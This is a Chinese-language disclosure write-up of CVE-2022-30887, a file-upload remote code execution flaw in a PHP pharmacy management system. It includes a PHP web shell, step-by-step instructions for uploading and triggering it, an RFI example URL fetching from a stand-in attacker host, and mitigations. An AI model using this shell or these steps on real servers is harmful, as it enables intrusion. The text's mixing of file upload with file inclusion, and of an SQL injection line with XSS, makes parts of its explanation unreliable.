CVE-2022-30887

药店管理系统 1.0 Shell 上传

该应用由 Mayurik 构建 这个用PHP开发的药店管理系统项目旨在通过安全和管理来提高药店的准确性和效率。简而言之，它是一个产品库存应用。

发现药店管理系统v1.0存在远程代码执行（RCE）漏洞，漏洞组件为“/php_action/editProductImage.php”。攻击者可以通过特制图片文件执行任意代码。

什么是文件包含攻击

文件上传漏洞通常是一种允许脚本运行的漏洞。当我们上传文件到服务器并在上传的文件上输入命令时，它就会起作用。文件上传漏洞分为两种类型：

• LFI（本地文件包含）
• RFI（远程文件包含）

LFI（本地文件包含）

此漏洞发生在服务器上的本地文件包含从用户获取的文件时。必须对从用户接收的值进行消毒。

**LFI（本地文件包含）**示例；

<?php
if($_REQUEST['s'])
 {  
 system($_REQUEST['s']);
 } 
 else
  phpinfo();?>

RFI（远程文件包含）

此漏洞在攻击者从远程服务器上传恶意软件时起作用。

**RFI（远程文件包含）**示例；

"www.victim_site.com/abc.php?test=http://www.attacker_site.com/attack_page"

漏洞利用说明与PoC

• 首先，登录页面后我们将跳转到“dashboar.php”
• 其次，要进入发现漏洞的页面，点击菜单中的“药品”，然后点击“管理药品”，你将跳转到“product.php”，然后在操作选项卡下点击“编辑图片”

• 在“editproduct.php”页面，点击选择照片按钮并上传你的shell脚本。

php shell脚本示例；

<?php
if($_REQUEST['s'])
 {  
 system($_REQUEST['s']);
 } 
 else
  phpinfo();?>

• 点击保存按钮，并在burp suite中捕获请求

请求；

响应；

• 文件下载到“/assets/myimage/”文件夹
• 在URL中发送请求以运行你的脚本：/assets/myimage/shell.php?s=echo+%22MuallimNaci%22

请求；

响应；

• 然后搞定

此外，该漏洞在应用中仍然有效。

缓解措施

• 确保只接受“a-Z0-9”等字符，不允许“..”、“/”或“%00”（空字节）
• 确保“allow_url_include标志”必须是关闭状态
• 根据OWASP十大缓解措施：“应用可以维护一个文件白名单，这些文件可以被页面包含，然后使用一个标识符（例如索引号）来访问所选文件。任何包含无效标识符的请求都必须被拒绝，这样恶意用户就没有攻击面来操纵路径。”

额外发现

在同一个页面“editproduct.php”中，我发现了存储型XSS

• 包含漏洞的代码是：

$sql = "UPDATE product SET product_name = '$productName'

在这个代码块中，你可以通过双引号（"）逃出上下文

请求；

响应；

结论

我希望能够说明文件包含漏洞的工作原理、什么情况会触发此漏洞以及如何防止攻击者的攻击。感谢你宝贵的时间。